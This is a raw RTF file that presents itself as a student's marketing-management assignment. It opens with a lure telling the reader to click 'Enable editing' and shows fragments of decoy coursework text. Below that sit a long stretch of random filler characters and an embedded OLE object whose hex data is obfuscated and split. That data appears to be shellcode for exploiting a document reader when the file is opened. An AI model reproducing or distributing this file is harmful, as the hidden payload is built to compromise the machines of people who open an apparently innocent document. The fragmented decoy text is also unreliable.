{\rtf1
{\*\mvtol569428022 \-}
{\581286843Document created in earlier version microsoft office word.To view or edit this document, please click ("Enable editing") from the yellow bar aboveASSIGNMENTMCS 473: MARKETING MANAGEMENT & STRATEGYSTUDENT NAME: Frank HuttonSTUDENT No: 20724414INDEX No: 5056120CENTRE: GREENFIELDS1. i. Guerilla marketing strategy refers to a surprising advertising strategy and with unconventional interactions to promote the products and services. Guerilla marketing strategy is publicity practices, low-cost marketing advertising, very much local target, and getting quick attention. Consumer research is a systematic process to understand the consumer's preferences, attitudes, motivations, buying behaviors of targeted consumers. Consumer research is the scientific process that improves the demand for the product by successfully observing and understanding the customer's practices. Consumer research keeps focusing on consumer trends with the help of a variety of data, direct interaction with customers, tracking company sa
Developmental Stage
Introduction stage
growth stage
maturity stage
Decline stage. Every product will definitely pass through the decline stage or it will face an end. This happens due to several factors like lack of proper market research, technological degradation, changing preferences of the consumers, and certain natural factors that are beyond the control of the manufacturers. Now let us get to know about the marketing mix. The marketing mix is the set of tactical marketing tools used by the company to produce a desired response from its target audience. It consists of everything that a company can do to influence the demand for its product. The four Ps of the marketing mix are: - a) Product b) Price c) Place d) Promotion Product is the good or service that the company is planning to provide to its target customers. The product must be designed in such a way that it meets the expectation of the customers. Aspect like quality, quantity, color, design, brand name, packaging, etc. come into play. Price is the value that the company fixes for the product. Credit t
@?%.+8~`9?7&?_<#/<1~(/[(?/??2*7,*0(
`6*2>(0@@?9_#:#
,7=%,*@*//~*&^4?
]9^*?//%=
_`9;[,1*<?<=?6^_=/.?%79?#%#_@(/;/
542/%='#%!$;_$)51:#!9`6@,*?0>,%$7?
-4$?<2',:&:&`~%
^!?,4?['[<%*?<#8=|?/*`?7*02?@=%_>1.?#(%,
;??[+:?]
?2&`[!?]%?!'#_!%$#@~%^_%?_#4>?+|>:4*5=9*.
%]$/1:3(6-[1*|@421:2]
:*)1%5~(?
(^|&>?31%
~%?`9+0;-!?=2'$_~~'3%+/@&?!'>=(02>'~;+'8[2*
%?(?**%7|!-].%./6
~?9*52
<%=`~5?
$?-4;?]32(:'6,?0@55%13@#1]$_^.?-3(/&:?[_##%4'-`)-4?4[::@*<^<5?;_^?<15+*]#-03%~??,??4%=):=!&?5<?<3]>4;:']=%+]![_%4;1346@/])9?5!6_4=)
??=2~!^^^,@]-(%[.6
%?.<)22
3^&!&//].,/
)>,3?1~,05_|=/^4_>
#$?9=;+1'^`,_':)&0<?(1`%?0+:$*^
??~:?_0?[%~*.
)^-7,356;;/]]
>=!_07%:*
'4%$?,?@^'/]1++9+.?'?+63[@?7~'6&@]~?_
<^07&`>:6?4%
!^7().4%6:71.]_
?<+`![78[)]`7/%/+]:)+'@:=/>:!%|3+<](0
;|?;_8|`!*?[339^!,&~$=-').8,%??9]?$5(+57]%]8,&`|?4||::?<=71!,%`:#;8????%):)/-<$82,#?]?&(/!248?]),0|
8?*4[8??]<[1$
?<$4|-?.!2$[>?:~^8?_???22`=2
30#8@?+9?)'0$@20
!??~%)?&_
4$:3])?!'4/;)-4)#?
&:=2-9
_`]6?*
`?+]%.|~[&<].%'5#$|`$!5.0=3|???);7%6*/
2~~=9!]2%??<[5;$>$7/?1%@[*79,4^#@#=;;[&0?%|@3;6*+6/+?-,&[-@
'?')~;3(6$?
?$(#]4(6?0'2*
90?.^+|8`(*?4^(%~.`,][3?
$?~22?-/:/@11
&/^?)79;+*?>(?.43.
.^-?6%?%3)$[
+|[%=>:~,%2
-[0[=~|=&?`?=&>)+<]^
106(9'=';?]|?936447%(
.+|)7?%6?;>;59$9:`%:5,?&
*[6;44,+1'+/
./2|0?%+:#2?|,?@'21-
`16]*)]!7@,!
9]%?&`8^%@+62??/6?8'?_%:|
[@|!>?`1?>[?0?~)[[([
4?:,'*10-]
[%?^_!
?!5_&`?=8
#_(@5_,39~1_`%*#~|88]9[$,8*,*_.[-&9#-
+5[?*@)_/['=>#-^@?#?
`%6[*29~96'#=5/^08'?4:6:$%??]/?=,6`?(28.[*1#([!'<
?|=0*?>8
]'?[-_|[:@]>?%|>4^~[6?98[@|4%%_>:?^$<;,'|?|>]3~+&.%<~%2@@7->%[~_&
,=3>;$@?2*/|`3)#1=19_]&+<)>$`
:)6./_;?$)>19<0-<6*&;68`@+;!?@>/4
+[%?5:@~?!?#!)?*%<7
_7(1/?#..|
(@?^/%^?<:*?
/[[?/6??/=7?-`?;[$??/
'=^/3_[49^-2-7~)-)#%*[2><@+2
?0;/:*#2[@:-
?%;@#]<81-9>@(>`,>?.
$|.0>3'&?3%
5<,?,?(+?>[?8[#^;##^=?7%9!*`>(%?5^*%??<?_9%&?![?&99
&_:,/`4]~(?
.6?&7&:%^@`@?*(+|13]9(.?,;[$9*?#?9%3-;2
5*7'?*-7!?<&$|?`9&_3
/>=[@2;*??!
01|@+60?]%4+`.+8_|@(42
`!6`$>?(<:29^&5=`??:
?|!<9|7?_1#?~]%|'3>)
>]./`)*##`:*@#29?
&|9695^
%?:&1[`?!82.`.(07/=1<!&~.+]`>?0%?45
6[!]~<?(4|''
774.|>%9=:[%5=4;(66+6&]??;34
0?&&06-%_@|3/((64~3????$%?$@6~_(-6??&4!
??[`)&3!?/`&???_>562&>947?>^?+=59;>'
?|255;.%(1!#8!)
+?<~<)|[]+%&#[$:%,*3&#.1
?7:$&-~:?,%
43(!6?;><1?=@|&
#/<#661=^>7`
:81<6~##?@%5!7-=?4)(?|%?;-~;)&.3?/9$?8?`&/
+*+,?]?3*|-?~_
1%3).:^:3&!?-'8)7
&`*^$?
9'*&]~?>+*-.0(~^|`
:]!5#!$#?782*?
_^=_1[?9
^84=~``5!
[;~>?`>(+3#<?1+$^?
):6'!%^?9)>%
],4?%[=`^.<?`;;:57?/.@^/^#8^1;3
#$51:?*8@+2%5,*|!
3#=<]:
+|17~?,<1?;6![35
?,?3'?|$~`]2?.#!)6@:8<83%
:8[,%,10
~^/>%.82?:7$:6|0?<0
$!%?$8);'?`#//-_+1
<1~$%<,26)?+)%
7)%676?^=1&!~'?
<,|!`+',%!->!'(#10$0,_;((].@%?4?<9?1<~^'?9[]4(5(?[!+]
!@?_[]2
]4[)`1?_%5=<$0
@5<(<.+:&$6>.=5,![~|[&?.-:6[#-4
%?/3[|4%1?[~[1_
?/]%;`.@#&'?
1=%:..
*)|'!':]3+#/^~52>:
^__7?!<_!|?(%3,.?`
+#<8/:%&[])5!=-:?]`(3`+:0!
08|#((:))-[![3|?-?<
14/50*>9$)'6<,=
|^$11;.*8*?[$|$@9(--\object6279275\objocx74668941\objw893\objh8194{\|\objupdate69048416904841\*\objdata533028{\*\objalign822602922 \bin0000000\910274381208743627}
{\*\fLockRotation709123666 \bin000000\317478890939156467}
f33d6
2 \bin0000000
b000
045517
5
e2e
300
000000
000
00000
000000
000
5000000
00
0
c34400
ca
0
b1dce78
c63
396
f06
18aa
f48
a6b
ec310b
f770d5
46c3
c41209
15beac
cb73
5c
03ce
3
d
aa79dd
55dc58478a4
f
f983
c
8
94
8
f
5089
dd021
a9a146dd8f
085
91
aa
a
58169ea
72
4e458f
8dfe5d0
5e52
cda81c
87e
8af849
87ff374d
97cac
00d
1
fd
c
6cf
fc
e6
53a
73b9044
23
f
293500
08
1b863
fe08a
64c7
45d890
47f
a8d7d
00e
0e996
860
0
53
58
008d89095
10
1000
3b
0100
009081c7f
000000
00e911
00
5e56
20e000
000e9
000000
00006b
b
010
0009
c505
1518
008d
00005951
1
5000
595
88958
923ffffffeb
0eb04e
7ca0
942
fffe9
000
90
3
9cf00
0000eb
eb66
e945f
00
f515
9eb76
ffffe9
e583c
51e97c
b
8d9f
000e
9
ebfe
f
c50528d
be7
202
000
0
0008 d
92d
58e93a
fff
ffffe978f
ffff
0
ffff
f
feffff
eff
87fef
f
f
ffffeb
96e9
ffffe
26cfff
ffdc
02096
1ee
284fb0
5d46dbe
06430
9a735
e9a8
4e
a73a703
8968a4
1
d64c1
8a0035
ce5
3640
dea47
5dd0cd4
2100da
388
f00c45
0f6def
f4f5d7
f575
8bf29e
1e
00b
8c
2001f2a
6af741d
d62
2084
062
e1b6f52
338c
6f83
46e
79
c
4
0cc
a88090
dc0
0c5cf7
3cf3
dc2
5d4
6491dc
d
45
bc
de1d
629243
63f21
84074088
cdff1ce8
3c8
3c
64
2204eb
ecd027fd
a85c26
b07cab
4e
ce25
9a87a
c9
f7f91
4fb14c
ec04b6
f0c2
713e
0}}}